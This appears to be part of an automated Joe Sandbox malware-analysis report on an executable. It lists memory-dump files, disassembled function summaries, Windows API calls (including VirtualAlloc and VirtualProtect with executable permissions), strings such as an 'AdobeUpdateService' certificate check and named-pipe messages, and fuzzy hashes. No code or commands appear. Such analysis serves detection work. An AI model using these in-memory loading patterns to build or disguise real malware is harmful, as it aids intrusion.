Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle$ObjectSingleWait
String ID: NULL OOBE_Event_t object passed in DestroyEvent $OOBEEvents$OOBEUtils
API String ID: 2079671238-3942007460
Opcode ID: 4e7abf2cf1a66fdbb446cba8b09f4a72dc1d6461a6f6d23e6cde9c9ed48dca8b
Instruction ID: aac3e4b64ef8bd33976eafc0c19c8d66d4ba662bde6bb840a130360140da2fc7
Opcode Fuzzy Hash: 4e7abf2cf1a66fdbb446cba8b09f4a72dc1d6461a6f6d23e6cde9c9ed48dca8b
Instruction Fuzzy Hash: 87212670B843109BCB20DF148C4675A3B58AF51B11F1404BFE9466B2C1DEBCA905C7AE

Function 00404050 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,00000000,00000008,?,?,004059AA), ref: 0040405B
DeleteCriticalSection.KERNEL32(00497733,?,?,004059AA), ref: 00404065
CoInitialize.OLE32(00000000), ref: 004040F5
CoUninitialize.OLE32(?,?,004059AA,?,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 00404103

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalDeleteSection$InitializeUninitialize
String ID:
API String ID: 161803370-0
Opcode ID: 1374b990ee36924d85f733176f9cff0057eba2b114e7e0308ad5df1b95475ba0
Instruction ID: 8dbd2ad74c855c1e3886fba8a0bf51dabcff8673f71024995de98868baa7c6da
Opcode Fuzzy Hash: 1374b990ee36924d85f733176f9cff0057eba2b114e7e0308ad5df1b95475ba0
Instruction Fuzzy Hash: EF11B2B16001416BD704EBA6DC49B59B7A8FF90319F10013AF309C7A90DBB9F964C7AA

Function 0041FE90 Relevance: 5.4, APIs: 4, Instructions: 417COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 0041FF5B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 0041FF65

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8d4374fadd7b43dced5683e9704e2794f3d6c2d318b486cb43d93fc2591642e0
Instruction ID: bd9ddbb0fe4a3e6c369a6c316b03fe687d8d5a0e13e3211eb2381caa863402dd
Opcode Fuzzy Hash: 8d4374fadd7b43dced5683e9704e2794f3d6c2d318b486cb43d93fc2591642e0
Instruction Fuzzy Hash: BAF19B72A00218AFCF00DF98D880AAEBBF5FF48310F54456AF945A7352D735AD45CBA9

Function 0046A7CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00402170: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,0040320B,?,?,?,?,\\.\pipe\,00000009,?,?), ref: 00402175
Part of subcall function 00402170: GetLastError.KERNEL32(?,00000000,00000000,?,0040320B,?,?,?,?,\\.\pipe\,00000009,?,?), ref: 0040217F

IsDebuggerPresent.KERNEL32(?,?,?,0040120A), ref: 0046A7FE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0040120A), ref: 0046A80D

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0046A808

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 00762af9e337a6805c8ac2cb9da72729d3ba67172526ae018d23e5fce0be16ff
Instruction ID: 855bd9d759665368c18885314bfe8a93a87ca15081f3247de167772f86f515d8
Opcode Fuzzy Hash: 00762af9e337a6805c8ac2cb9da72729d3ba67172526ae018d23e5fce0be16ff
Instruction Fuzzy Hash: 24E06D742007118BD3B0AF65E408B46BAE4AB15704F00887FE481E3681EBB8E8448FAA

Analysis Process: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exePID: 7936, Parent PID: 5696COMMON

Executed Functions

Function 027192CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02719314

Part of subcall function 02719098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 027190C1
Part of subcall function 02719098: VirtualFree.KERNELBASE(00000000,00000000,?), ref: 0271926D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02719366
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 027193C0
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 027193F3

Strings

,, xrefs: 02719344

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction ID: 14360ff7d2d6f0800cd8e5263ca5f9c56b45407e6c9f98f64014de302f8ee2b6
Opcode Fuzzy Hash: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction Fuzzy Hash: 1251FAB5900609EFDB11DFA9C885A9EBBF4FF08344F10851AEA59A7240D370E951CFA4

Function 02710BA2 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 02710C27
__alloca_probe_16.LIBCMT ref: 02710CF0
__freea.LIBCMT ref: 02710D57
__freea.LIBCMT ref: 02710D6A
__freea.LIBCMT ref: 02710D77

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 8643b7cb378e3b704611790b4db6617fbe1f52a074970517699d2cbc06b19a36
Instruction ID: 2fd9e63c58a186d34c142f9fda401149292cd1fa024f6228c6acb09c00afd48f
Opcode Fuzzy Hash: 8643b7cb378e3b704611790b4db6617fbe1f52a074970517699d2cbc06b19a36
Instruction Fuzzy Hash: 2B51C972600606AFEF225F6ACC88EBB77AEEF45718B154169FD44D6150EB31EC90CB60

Function 02719098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 027190C1
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 0271926D

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: fd5c7f173d7ff98236ef34e570de3dcee1f7d7cb5b43113d8a8172f72fa9db4b
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: DC718871E0424ADFDB45CF98C891BEEBBF0AF09314F184095E565FB241C238AA92DF64

Function 02711748 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,027112D6,00000001,00000364,00000000,?,000000FF,?,027144E3,?,?,00000000), ref: 02711789

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aea035a4320bfc883e516aeab754e2ccd9cc44f80c7455bfb0e041511875696f
Instruction ID: e6a7820a3f65e0be050a68eb808dd62856317c48a1d1772a4ce394be2c52ac86
Opcode Fuzzy Hash: aea035a4320bfc883e516aeab754e2ccd9cc44f80c7455bfb0e041511875696f
Instruction Fuzzy Hash: ADF0E03160023656DB321A3E5C49B7737599F41774B588012DE0C9E280EB30D40085E0

Function 02713D41 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNELBASE(?,02710C92,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 02713D75

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: a1ac28e44215abc5f7dedfd8d6d7e03581c7f5aaacd764c783c92eeda93b8264
Instruction ID: 2867209df99a998f0360b7d06d1e553136fd7fbfc1a017552cc404d1058d22e1
Opcode Fuzzy Hash: a1ac28e44215abc5f7dedfd8d6d7e03581c7f5aaacd764c783c92eeda93b8264
Instruction Fuzzy Hash: ECF0643640025ABBCF226E96DC089DE3F26EF483A0F198150FA1825020CB32C831AB90

Function 0270BEFA Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,?), ref: 0270BFCE

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: df575e9b6c3d3f039e9f4be5740f6b08e00c8b368284e0f4954a4e7a853196e0
Instruction ID: 510f1b3c2a39e4086ba6fc93bce1ac745db4b6cb985a7c099135cf8c3f52832e
Opcode Fuzzy Hash: df575e9b6c3d3f039e9f4be5740f6b08e00c8b368284e0f4954a4e7a853196e0
Instruction Fuzzy Hash: 3B311A71D00219EFDB10CFA9D880BAEFBF5FB09708F109429E555A7280D771AA09CF54

Function 0270BC80 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 0270BCC7

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 76222675b61c8d803e36e6d0cea0e8896417380f2a3b3ee34fe2aefe609ac7de
Instruction ID: 2d9f049ab5244641aee3c0797c4686ed594263ee6b9e6c8981e65715ad8d39db
Opcode Fuzzy Hash: 76222675b61c8d803e36e6d0cea0e8896417380f2a3b3ee34fe2aefe609ac7de
Instruction Fuzzy Hash: 6EE065B5942612FBA3312A209D44D7F77ADEF517057059815FD15E2240DF30D91AC5B1

Non-executed Functions

Function 004029A0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 247COMMON

Download Yara Rule

Strings

AdobeUpdateService: Process certificate didnt match to Adobe certificate!, xrefs: 00402A97
AdobeUpdateService, xrefs: 00402C2D, 00402C4C
main: Started, xrefs: 00402C17
main: Finished, xrefs: 00402CAA

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID: AdobeUpdateService$AdobeUpdateService: Process certificate didnt match to Adobe certificate!$main: Finished$main: Started
API String ID: 0-108484121
Opcode ID: b3500d050bb6cdf61eb27a6f39655ff4180bc88b106c65d246eddb0ba753381a
Instruction ID: aa4f7462551908f85693e87270aad57e37dee6bb7c79447cbb64f1a26d33a99d
Opcode Fuzzy Hash: b3500d050bb6cdf61eb27a6f39655ff4180bc88b106c65d246eddb0ba753381a
Instruction Fuzzy Hash: D491F870A002189FEB14DF65CD5ABAE7BB4EB04718F14417EE405B73C1EBB86A05CB99

Function 02719277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000003.1859078938.00000000026E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 026E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_3_26e0000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: 305417b5de2736896cc07d351843b40d940d0da662f8aad022466509d37620fa
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 8EF06D79A00200CF8B28DF0EC558D96B7F6EF85724B6545A5E505AB221D3B0EE46CBA1

Function 0041F500 Relevance: 30.4, APIs: 11, Strings: 9, Instructions: 396sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,BB40E64E,?,00000008), ref: 0041F537
Sleep.KERNEL32(00000001), ref: 0041F53F
LeaveCriticalSection.KERNEL32(?), ref: 0041F585
LeaveCriticalSection.KERNEL32(?), ref: 0041F5C9
LeaveCriticalSection.KERNEL32(?), ref: 0041F646

Strings

Out pipe handle is invalid, aborting write., xrefs: 0041F6FA, 0041F73C
Terminate channel, xrefs: 0041F7F4, 0041F904
Pipe %p not initialized, aborting write., xrefs: 0041F55E, 0041F5A3
Writing data packet to pipe failed with error code %i, xrefs: 0041F8A6, 0041F8DD
CommBridge, xrefs: 0041F56D, 0041F5A8, 0041F62C, 0041F667, 0041F709, 0041F741, 0041F7A5, 0041F7D2, 0041F8B5, 0041F8E2
`J, xrefs: 0041F52D
Data size %i is larger than max buffer size, aborting write., xrefs: 0041F61D, 0041F662
Writing info packet to pipe failed with error code %i, xrefs: 0041F796, 0041F7CD
OOBEUtils, xrefs: 0041F572, 0041F631, 0041F70E, 0041F7AA, 0041F8BA

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$Leave$EnterSleep
String ID: CommBridge$Data size %i is larger than max buffer size, aborting write.$OOBEUtils$Out pipe handle is invalid, aborting write.$Pipe %p not initialized, aborting write.$Terminate channel$Writing data packet to pipe failed with error code %i$Writing info packet to pipe failed with error code %i$`J
API String ID: 4275215032-318403239
Opcode ID: 8abe9bf9aa2a41506b6c831e74ff08ca7d922cea81cd4335f7d1f82bf08bb469
Instruction ID: 357453fb2a3021c3316a4f80364e3140d53479557ee8387c2b372fbbb1bee486
Opcode Fuzzy Hash: 8abe9bf9aa2a41506b6c831e74ff08ca7d922cea81cd4335f7d1f82bf08bb469
Instruction Fuzzy Hash: F2E10770B40208ABDB00DF65DD4ABDE7BB5AF45700F24013AF806A72D1DB7CAA458B5D

Function 004056B0 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 296sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,?,?,?,?,?,?,00000028), ref: 0040587F

Part of subcall function 0041FA30: WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
Part of subcall function 0041FA30: CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

Strings

CreateIPCChannel failed for pipe %s, xrefs: 004058D0
Problem initializing Communication Channel. Quitting. Error code %d, xrefs: 004058A7
failed to create a new thread for ipc communications. Fatal Error, xrefs: 0040591A
thread failed to resumed. fatal error, xrefs: 0040594C
Initializing Communication Channel with ACC with pipename: %s, xrefs: 00405862
Successfully created the client thread, xrefs: 004059E8
Failed in creating client thread, xrefs: 00405984
Sent communnication ID packet to the client, xrefs: 004056EF
Failed in initial handshake with the client, xrefs: 004058F0
Failed to sent communnication ID packet to the client, xrefs: 004059B9

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
